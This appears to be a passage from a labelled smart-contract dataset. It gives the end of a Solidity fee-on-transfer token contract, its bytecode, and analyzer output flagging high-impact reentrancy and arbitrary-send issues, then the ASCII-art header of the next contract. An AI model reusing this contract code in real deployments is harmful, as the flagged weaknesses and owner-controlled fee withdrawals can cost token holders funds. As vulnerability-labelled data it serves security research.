if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 10; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 20; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 25000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (180 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610340578063c3c8cd8014610360578063c9567bf914610375578063db92dbb61461038a578063dd62ed3e1461039f578063e8078d94146103e557600080fd5b8063715018a6146102c45780638da5cb5b146102d957806395d89b4114610145578063a9059cbb14610301578063a985ceef1461032157600080fd5b8063313ce567116100fd578063313ce5671461021157806345596e2e1461022d5780635932ead11461024f57806368a3a6a51461026f5780636fc3eaec1461028f57806370a08231146102a457600080fd5b806306fdde0314610145578063095ea7b31461018857806318160ddd146101b857806323b872dd146101dc57806327f3a72a146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082018252600b81526a5477696e20546f7765727360a81b6020820152905161017f9190611a19565b60405180910390f35b34801561019457600080fd5b506101a86101a3366004611971565b6103fa565b604051901515815260200161017f565b3480156101c457600080fd5b50662386f26fc100005b60405190815260200161017f565b3480156101e857600080fd5b506101a86101f7366004611931565b610411565b34801561020857600080fd5b506101ce61047a565b34801561021d57600080fd5b506040516009815260200161017f565b34801561023957600080fd5b5061024d6102483660046119d4565b61048a565b005b34801561025b57600080fd5b5061024d61026a36600461199c565b610533565b34801561027b57600080fd5b506101ce61028a3660046118c1565b6105b2565b34801561029b57600080fd5b5061024d6105d5565b3480156102b057600080fd5b506101ce6102bf3660046118c1565b610602565b3480156102d057600080fd5b5061024d610624565b3480156102e557600080fd5b506000546040516001600160a01b03909116815260200161017f565b34801561030d57600080fd5b506101a861031c366004611971565b610698565b34801561032d57600080fd5b50601354600160a81b900460ff166101a8565b34801561034c57600080fd5b506101ce61035b3660046118c1565b6106a5565b34801561036c57600080fd5b5061024d6106cb565b34801561038157600080fd5b5061024d610701565b34801561039657600080fd5b506101ce61074e565b3480156103ab57600080fd5b506101ce6103ba3660046118f9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f157600080fd5b5061024d610766565b6000610407338484610b15565b5060015b92915050565b600061041e848484610c39565b610470843361046b85604051806060016040528060288152602001611bb9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611176565b610b15565b5060019392505050565b600061048530610602565b905090565b6011546001600160a01b0316336001600160a01b0316146104aa57600080fd5b603381106104f75760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104ee90611a6c565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610528565b6001600160a01b03811660009081526006602052604081205461040b9042611b68565b6011546001600160a01b0316336001600160a01b0316146105f557600080fd5b476105ff816111b0565b50565b6001600160a01b03811660009081526002602052604081205461040b906111ea565b6000546001600160a01b0316331461064e5760405162461bcd60e51b81526004016104ee90611a6c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610407338484610c39565b6001600160a01b03811660009081526006602052604081206001015461040b9042611b68565b6011546001600160a01b0316336001600160a01b0316146106eb57600080fd5b60006106f630610602565b90506105ff8161126e565b6000546001600160a01b0316331461072b5760405162461bcd60e51b81526004016104ee90611a6c565b6013805460ff60a01b1916600160a01b1790556107494260b4611b11565b601455565b601354600090610485906001600160a01b0316610602565b6000546001600160a01b031633146107905760405162461bcd60e51b81526004016104ee90611a6c565b601354600160a01b900460ff16156107ea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ee565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108253082662386f26fc10000610b15565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085e57600080fd5b505afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089691906118dd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108de57600080fd5b505afa1580156108f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091691906118dd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095e57600080fd5b505af1158015610972573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099691906118dd565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c681610602565b6000806109db6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3e57600080fd5b505af1158015610a52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7791906119ec565b50506516bcc41e90006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610ad957600080fd5b505af1158015610aed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1191906119b8565b5050565b6001600160a01b038316610b775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ee565b6001600160a01b038216610bd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ee565b6001600160a01b038216610cff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ee565b60008111610d615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ee565b6000546001600160a01b03848116911614801590610d8d57506000546001600160a01b03838116911614155b1561111957601354600160a81b900460ff1615610e0d573360009081526006602052604090206002015460ff16610e0d57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b038481169116148015610e3857506012546001600160a01b03838116911614155b8015610e5d57506001600160a01b03821660009081526005602052604090205460ff16155b15610fbb57601354600160a01b900460ff16610ebb5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104ee565b600a8055601354600160a81b900460ff1615610f8157426014541115610f8157601054811115610eea57600080fd5b6001600160a01b0382166000908152600660205260409020544211610f5c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104ee565b610f6742602d611b11565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615610fbb57610f9e42600f611b11565b6001600160a01b0383166000908152600660205260409020600101555b6000610fc630610602565b601354909150600160b01b900460ff16158015610ff157506013546001600160a01b03858116911614155b80156110065750601354600160a01b900460ff165b15611117576014600a55601354600160a81b900460ff1615611098576001600160a01b03841660009081526006602052604090206001015442116110985760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104ee565b801561110557600b546013546110ce916064916110c891906110c2906001600160a01b0316610602565b90611413565b90611492565b8111156110fc57600b546013546110f9916064916110c891906110c2906001600160a01b0316610602565b90505b6111058161126e565b47801561111557611115476111b0565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061115b57506001600160a01b03831660009081526005602052604090205460ff165b15611164575060005b611170848484846114d4565b50505050565b6000818484111561119a5760405162461bcd60e51b81526004016104ee9190611a19565b5060006111a78486611b68565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b11573d6000803e3d6000fd5b60006007548211156112515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ee565b600061125b611502565b90506112678382611492565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112c457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561131857600080fd5b505afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906118dd565b8160018151811061137157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113979130911684610b15565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d0908590600090869030904290600401611aa1565b600060405180830381600087803b1580156113ea57600080fd5b505af11580156113fe573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000826114225750600061040b565b600061142e8385611b49565b90508261143b8583611b29565b146112675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ee565b600061126783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611525565b806114e1576114e1611553565b6114ec848484611581565b8061117057611170600e54600955600f54600a55565b600080600061150f611678565b909250905061151e8282611492565b9250505090565b600081836115465760405162461bcd60e51b81526004016104ee9190611a19565b5060006111a78486611b29565b6009541580156115635750600a54155b1561156a57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611593876116b6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c59087611713565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f49086611755565b6001600160a01b038916600090815260026020526040902055611616816117b4565b61162084836117fe565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166591815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc100006116928282611492565b8210156116ad57505060075492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116d38a600954600a54611822565b92509250925060006116e3611502565b905060008060006116f68e878787611871565b919e509c509a509598509396509194505050505091939550919395565b600061126783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611176565b6000806117628385611b11565b9050838110156112675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ee565b60006117be611502565b905060006117cc8383611413565b306000908152600260205260409020549091506117e99082611755565b30600090815260026020526040902055505050565b60075461180b9083611713565b60075560085461181b9082611755565b6008555050565b600080808061183660646110c88989611413565b9050600061184960646110c88a89611413565b905060006118618261185b8b86611713565b90611713565b9992985090965090945050505050565b60008080806118808886611413565b9050600061188e8887611413565b9050600061189c8888611413565b905060006118ae8261185b8686611713565b939b939a50919850919650505050505050565b6000602082840312156118d2578081fd5b813561126781611b95565b6000602082840312156118ee578081fd5b815161126781611b95565b6000806040838503121561190b578081fd5b823561191681611b95565b9150602083013561192681611b95565b809150509250929050565b600080600060608486031215611945578081fd5b833561195081611b95565b9250602084013561196081611b95565b929592945050506040919091013590565b60008060408385031215611983578182fd5b823561198e81611b95565b946020939093013593505050565b6000602082840312156119ad578081fd5b813561126781611baa565b6000602082840312156119c9578081fd5b815161126781611baa565b6000602082840312156119e5578081fd5b5035919050565b600080600060608486031215611a00578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a4557858101830151858201604001528201611a29565b81811115611a565783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611af05784516001600160a01b031683529383019391830191600101611acb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b2457611b24611b7f565b500190565b600082611b4457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b6357611b63611b7f565b500290565b600082821015611b7a57611b7a611b7f565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105ff57600080fd5b80151581146105ff57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220148a4897f3e6f963aefff7a4fd0ce325d54f3ebd80894060cc50d09cb3490c4e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,678
0x0b4a3fcbc8d8e7fe228b84626b2c6adff462fe9c
/** *Submitted for verification at Etherscan.io on 2021-07-31 */ /** *Submitted for verification at Etherscan.io on 2021-07-31 */ /* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWWWMMWWWM[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@WWWWWWWWWWWWWWWMMMWWW[email protected][email protected]@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWWWWWWWWWWWMMMMMWWMWWWWWWWWWWM#;:,:;[email protected]@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@[email protected]*i;i+++++*[email protected]@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWMWMWWWWWWWxMWWWWMMMMMMMMMMMMMWWx*;;;i+#znnn##[email protected]@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@[email protected]@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMM*;::,:*[email protected]@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMn;:,,,,;*#[email protected]@@@@@@@@@@@@@@@@ @@@@@@@@@@@[email protected]@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMM#;,,,,,;*#[email protected]@@@@@@@@@@@@@@@@ @@@@@@@@@@@[email protected]@@@WWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMxxMMMMMMMM*:,,,,,;*##[email protected]@@@@@@@@@@@@@@@@ @@@@@@@@@[email protected]*:,,,,:;*+#[email protected]@@@@@@@@@@@@@@ @@@@@@@@@@@WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMxxxxxxxxx*;:,,:;;*+#[email protected]@@@@@@@@@@@@@@ @@@@@@@@@@WWWWWWWWWWWWWWWWWWMWWWWMMMMMMMMMMMMMMMMMMMMMMxxxxxxxxxi::,,,:;*[email protected][email protected]@@@@@@@@@@ @@@@[email protected]#;:::,::i*[email protected]@[email protected]@@@@@@@@ @@WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMxMMMMMMMxxxxxxxxnnxx#::::::;+#[email protected][email protected]@@@ WWWWWWWWWWWWWWWWWWWWWWWWWMMMxMMMMMMMMMMMMMMMxxMxxMxxxxxxxxxnnnn+:::+#[email protected]WWWWWWWWWWWWWWWWW WWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMxMMMxxxxxxxxxxxxnxxxxnnnn#i::*+nn+;[email protected]WWWWWWWWWWWWW WWWWWWWWWWWWWWWWWWWWWMWMMMMMMMMMMMMxxxxxxxxxxxxxxxxxxxxxxxnnnnnn:::,;##;:[email protected]WWWWWWWWWWWWW WWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMxxxxxxxxxxxxxxxxxxxxxnnnnnnnnni::,:i;,,zWz#[email protected]WWWWWWWWW WWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMMxxxxxxxxxxxxxxxxxxxnnnnnnnnnznzzzi:::::,,+Wz#[email protected]WWWWWWWWW WWWWWWWWWWWWMMMMMMMMMMMMMMMMMxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnzzz#:;::i,:*xnzWWxzzzzzzzzzzzzzzzzzzzzzzzz#nnnnxxxxxMMMMMMMMMMMMMMMMMMMMMMMMWWWWWWWWWWWW WWWWWWWWWMMMMMMMMMMMMMMMMxxxxxxxxxxxxxnnnnnnnnnnnnnnnnnnnnnnnnzzzz;;:;i*[email protected]####zzzzzzzzzznnnxxxxxxxxxxMMMMMMMMMMMMMMMMMMMMMMWWWWWWWWWW WWWMWWWMMMMMMMxMMMMMMMMxxxxxxxxxxnnnnnnnnnnznzzzzzzznnnnnnnnnnzzz#:;:;::+nWMxWWz#zz#################zzzznnnnxxxxxxxxxxxxxxxxMMMMMMMMMMMMMMMMMMMMMWWWWW WWWWMMMMMMMMMMMMMMMMxxxxxxxxxxnnnnnnnnzzzzzzzzzzzzzzzzzzzzzzzzzzz#:;;;;i+#xMxWM#####################zzzznnnnnnxxxxxxxxxxxxxxxxxMMMMMMMMMMMMMMMMMMMMMMW MMMMMMMMMMMMMMMMMxxxxxxxxxxxnnnnnnzzzzzzzzz#########zzzzzzzzzzzzz#;ii*+*#[email protected]+#+++++++++++++++####zzzzznnnnnnnnnnxxxxxxxxxxxxxxxxMMxMxMMMMMMMMMMMMMM MMMMMMMMMMMMMxMxxxxxxxxxnnnnnznnzzzzzz##########################i;;;*++*[email protected]*++++++++++++++++#####zzzzzzzzznznnnnnnnnxxxxxxxxxxxxxxxMMxMMMMMMMMMMMM MMMMMMMMMMMMMMxxxxxxxxxnnnnnnnnzzzzz######+++++++++++++++++++#+*zn+:*+*[email protected]+****++*++++++++########zzzzzzzznnnnnnnnnnxxxxxxxxxxxxxMMMMMMMMMMMMMM MMMMMxxMMMxxxxxxxxxxxxxnnnnnnzzzzzz#####+++++++**+++*++***;*nzxnxMn:izi;*#[email protected]@@n+*********+++++++++#######zzzzzznnnnnnnnnnnxxnxxxxxxxxxxxxxxMMMMMMM xxxxxxxxxxxxxxnxnnnnnnnnnnnnnzzzzzz####++++++**********i;iz#MzxxxWMi;#[email protected]@[email protected]#@@@x#iii*********+++++++######zzzzznnnnn#nnnnnnnnnnxxxxxxxxxxxxxMMMMM xxxxxxxxxxxnnnnnnnnnnnzzzzzzzz#######++++++******iiiiii*##[email protected];*zxMWWMxxW##@@@@Wxi;iiiii*******++++++######zzzzzzzznnnnnnnnnnxxxxxxxxxxxxxxxMMMM MMMxxxxxxxxxxxnnnnnnnnzzzzzzzz#####+++++******iiiii;;:izz##nnMnMMWMW*;+nzz#[email protected]@@[email protected]@[email protected]::;;;;i;iiii*****++++####zzzzzzznnnnnnnnnnnnnxxxxxxxxxxxxxMM MMMxxxxxxxxxxxnxnnnnnnnnnzzzzzz####++++*****iiii;;:,,,,;nzzzxWnxWMxWW*;+z*[email protected]@@[email protected]@WMxnn+;.,,,::;;;iii***++++####zzzzzzznnnnnnnznnnxnxxxxxxxxxxxxMMM MMMMMMxxxxxxxxxxxxnnnnnnnnnnzzzzz####++++***iii;;:,,,,,,+nnnxWxnWMWMWWzi+**[email protected]#[email protected]@MMxMxMn,...,,,::;;ii**++####zzzzzzzznnnnnnnnnnnxnnnxxxxxxxxxxxMMM MMMMMxxxxxxxxxxxnnnnnnnnnnnzzzzzzz#####+++**ii;;,,,,,,,,:[email protected]@[email protected]#@[email protected]@MWMMxMM+;i;.....,,::;;ii**+++####zzzzzzznnnnnnnnxnxnxxxxxxxxxMMMMM MMMMMnxxxxxxxxxxxxxnnnnnnnnnzzzzzz###++*ii;;::,,.,,,..,,:[email protected]@[email protected]#[email protected];*+i......,,::;;ii**++####zzzzzzzzzzznnnnnnnnnnxxxxxxxxxMM MMMMMMMxxxxxxxxxxxxxxnnnnnnnnzzzz##++*ii;::,,..`.,....,,;#[email protected]@[email protected]@[email protected]*##i,,,,....,,::;ii*+##zzzzzzznnnnnnnnnnnnnnnnxxxxxxxxxxx MMMMMMMMMxxxxxxxxxxxxxxxnnnnnnzz#++*i;::,..`````.,...,,:i#[email protected]@[email protected]@[email protected]+ii+#zz:,:,,,,.....,::;i*++#zznnnnnnxxxxxxxxxxxxxxxxxxxxxxxM MMMMMMMMMMMMMxxxxxxxxxxxxxnnnz#+*i;;:,..````````,,...,:;*[email protected]@[email protected]@nWMnWWMWxWMx*ii+#zni::,:,,,,,.....,:;;i*+#znnnxxxxxxxxxxxxxMMMMMMMMMMMMM MMMMMMMMMMMMMMMMxxxxxxxxxnnz#+*i;:,..``````````.,,..,,,:;*[email protected]@@@[email protected]*i*+#zn*::,:.,...,,,....,,:;i*+#znnxxxxxxxxMMxMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMxxxxxxxnnz#+*i;:,.``````````..,,:,,,,,,,:;[email protected]@[email protected]+*i*+#zn+::;:;:,,...........,:;i*+#znnxxxxxMMMMMMMMMMMMMMMMMW MMMMMMMMMMMMMMMMMMMMxxnz#+*;:,..```````.,.,:;;:;:,,,,,,,:;*[email protected]@[email protected]@[email protected]#***+#znx+:::;i;ii;,...,.......,,:;i+#znxxxMMMMMMxMMMMMMMMWWWW WWMMMMMMMMMMMMMMxMMxnz#+i;:,,.`.````.,,::;iiiiii,,,,,,,,:;*[email protected]#@[email protected]@[email protected]*i*+#zznx+iii::;;;i:::,,..,....,.,,:;i+#znxxMMMMMMMMMWWWWWWWWW WWWWWWWWWMMMMMMMMxnz#+i;:,.....``...,:;;iiiiiiii,,,,,,,,:;*[email protected]@xW#[email protected]@x*;;i*znnxx*i****iii;ii;:,,,,,,....,,,,:;i+#znxMMMMMMWWWWWWWWWWW WWWWWWWWWWWWWMMMxz#+*;:,.``.....,,,;;iii*****i**.,,,,,::;;*#WWMMWWWWWWMW#[email protected]@@@[email protected]#i;;i*#nnnxi;ii++***i***;;::,,,......,::::;*+#zxMMMWWWWWWWWWWWWW WWWWWWWWWWWWMMxnz+*i:,.``.....,:::;;i**++++++*+i,,,,,,:;ii*#[email protected]#[email protected]@#@[email protected]*;:;i*#nnnx*i*i**+*+***i::::::,,,,.....,::::i*+znxMMWWWWWWWWWWWW WWWWWWWWWWWMMnz#*i:,.``.,,.:::;;;*i*+++######++i:,,,,:;*+#[email protected]@@@@[email protected]@@#@[email protected]##@[email protected]:::;*#nnzn#****+*+###+*i**:::::,,,,,,....:;::i*#znMMWWWWWWWWWWW WWWWWWMWWWMxn#+i;,...,:::,:;:;ii*++########zzzz*;:,,,:i+###[email protected]@@@@@@[email protected]##@[email protected]@@@[email protected]@@M;:::;+znnzzz**#nznnz##zn##+*iii;;;:::,,....,::,;*+#nxMWWWWWWWWWW WWWWWWWWWMxz+*i,.,,,,,:;;;:;i*++###zzzzzzzzz#+**;:,,,,,::::;i*+##nxMWWWWMn+*i***[email protected]@M;::;i#nnnznMi;;i+##nn#znnzz#++*iiii;::;:,.....,,:i*#zxMMWWWWWWWW @[email protected]+i:,::,,,;;i;:;i*+###zzznnnnz+;;;;;;;;;::,,,,:;i***iiiiii***iiiiii*ii*+#znx;::;*znnnznM+;;;;:,,:i*zxxnzz++**ii;;:;;::,,.....,:[email protected]@W 